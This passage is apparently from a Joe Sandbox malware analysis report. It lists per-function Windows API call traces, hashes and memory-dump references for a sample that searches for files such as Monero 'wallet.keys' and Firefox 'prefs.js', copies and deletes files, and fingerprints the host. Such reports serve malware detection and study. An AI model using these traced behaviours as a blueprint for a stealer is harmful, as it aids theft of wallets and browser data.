Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: dff2fd9edfd04ab1acdae7491c7d6481a3d085fb76d0b8bf3de808a8e4f947e1
Instruction ID: daaf9347e559ede45af4898586f44c081a9607d5202d8e643d0daf3a3c05e5be
Opcode Fuzzy Hash: dff2fd9edfd04ab1acdae7491c7d6481a3d085fb76d0b8bf3de808a8e4f947e1
Instruction Fuzzy Hash: F35163B6900219ABCB24FBB0DC85EFA737CBB54300F404598B75A92081DB75EB968F95

Function 001EF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,002015B8,00200D96), ref: 001EF71E
StrCmpCA.SHLWAPI(?,002015BC), ref: 001EF76F
StrCmpCA.SHLWAPI(?,002015C0), ref: 001EF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 001EFAB1
FindClose.KERNEL32(000000FF), ref: 001EFAC3

Strings

prefs.js, xrefs: 001EF812

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 9a7b777af13d2d11e806c6dc5182d190285d05a973639d842a377f8d09408a4e
Instruction ID: fbcddcc9de09ac3299fc4fbec03edceadb8d87f49239e3a31860a427d8e16b9d
Opcode Fuzzy Hash: 9a7b777af13d2d11e806c6dc5182d190285d05a973639d842a377f8d09408a4e
Instruction Fuzzy Hash: CEB145B190010C9BDB24FF60DC95EFD7379AF64300F8081A8A90E97195EF756B5ACB92

Function 001E16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0020510C,?,?,?,002051B4,?,?,00000000,?,00000000), ref: 001E1923
StrCmpCA.SHLWAPI(?,0020525C), ref: 001E1973
StrCmpCA.SHLWAPI(?,00205304), ref: 001E1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001E1D40
DeleteFileA.KERNEL32(00000000), ref: 001E1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 001E1E20
FindClose.KERNEL32(000000FF), ref: 001E1E32

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Strings

\*.*, xrefs: 001E17F1

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 5f79797141db8316d2f96d34195e9fa4033633ff45377b04368486d7353df9d0
Instruction ID: 43d056ef2a675f9337e50be773268650ea7c168adeff83b7a1b07e38b1fd7b95
Opcode Fuzzy Hash: 5f79797141db8316d2f96d34195e9fa4033633ff45377b04368486d7353df9d0
Instruction Fuzzy Hash: 7E12CFB195011CABDB15FB60CC96AFE7378AF64341F8041A9B60E62091EF746F89CF91

Function 001EDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,002014B0,00200C2A), ref: 001EDAEB
StrCmpCA.SHLWAPI(?,002014B4), ref: 001EDB33
StrCmpCA.SHLWAPI(?,002014B8), ref: 001EDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 001EDDCC
FindClose.KERNEL32(000000FF), ref: 001EDDDE

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 2a958bb64cd6686f4bad138885c8e78e60c52c8f0ac5367419441bcca27e269f
Instruction ID: e3d26b011c04b4a7f053020fa4638ec7a94806915198c584afecb54199219b8e
Opcode Fuzzy Hash: 2a958bb64cd6686f4bad138885c8e78e60c52c8f0ac5367419441bcca27e269f
Instruction Fuzzy Hash: 89914BB290010897CB14FBB0EC56DFD737D6F94340F808668F91E96195EF749B198B92

Function 001F7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

GetKeyboardLayoutList.USER32(00000000,00000000,002005AF), ref: 001F7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 001F7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 001F7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 001F7C62
LocalFree.KERNEL32(00000000), ref: 001F7D22

Strings

/ , xrefs: 001F7C7F

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 97288a2e9028473d5e8193b38c4420cfcec6805688708d41070efd1637ade2d1
Instruction ID: 4ee378b4b4b70ebca9f37f0ffe9f89a07db32d2d9aa8d30e3a59f1925ab8cb3b
Opcode Fuzzy Hash: 97288a2e9028473d5e8193b38c4420cfcec6805688708d41070efd1637ade2d1
Instruction Fuzzy Hash: 2D413DB194021CABDB24DB94DC99BFEB374FF54700FA04199E60962191DB742F86CFA1

Function 001EE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00200D73), ref: 001EE4A2
StrCmpCA.SHLWAPI(?,002014F8), ref: 001EE4F2
StrCmpCA.SHLWAPI(?,002014FC), ref: 001EE508
FindNextFileA.KERNEL32(000000FF,?), ref: 001EEBDF

Strings

\*.*, xrefs: 001EE44D

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 73e416e6db2f4e74c10eb993caea57050d20d08839075ac8919cbcbe27c09a22
Instruction ID: 182147f1473f56d9851f7bb16b4158ae32dcb623874157e1ced95d9451111000
Opcode Fuzzy Hash: 73e416e6db2f4e74c10eb993caea57050d20d08839075ac8919cbcbe27c09a22
Instruction Fuzzy Hash: 59122FB191011C9ADB14FB60DC96EFD7378AF64340FC045A8B60E96091EF786F59CB92

Function 001F9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 001F961E
Process32First.KERNEL32(00200ACA,00000128), ref: 001F9632
Process32Next.KERNEL32(00200ACA,00000128), ref: 001F9647
StrCmpCA.SHLWAPI(?,00000000), ref: 001F965C
CloseHandle.KERNEL32(00200ACA), ref: 001F967A

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 1418c43fe396cd52cea638d01fedaaedb716a59a4973e5ebe559d977af6cc633
Instruction ID: 4426443df519edf2cfa98d49d6045f919e58e55fa2f82c1ba9d1ce83860c94c4
Opcode Fuzzy Hash: 1418c43fe396cd52cea638d01fedaaedb716a59a4973e5ebe559d977af6cc633
Instruction Fuzzy Hash: 60011EB5A00208EBCB24EFA5CD48BEDB7F8EF48310F504198AA05D7240EB349B55CF55

Function 001F7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,011DD8C8,00000000,?,00200E10,00000000,?,00000000,00000000), ref: 001F7A63
RtlAllocateHeap.NTDLL(00000000), ref: 001F7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,011DD8C8,00000000,?,00200E10,00000000,?,00000000,00000000,?), ref: 001F7A7D
wsprintfA.USER32 ref: 001F7AB7

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

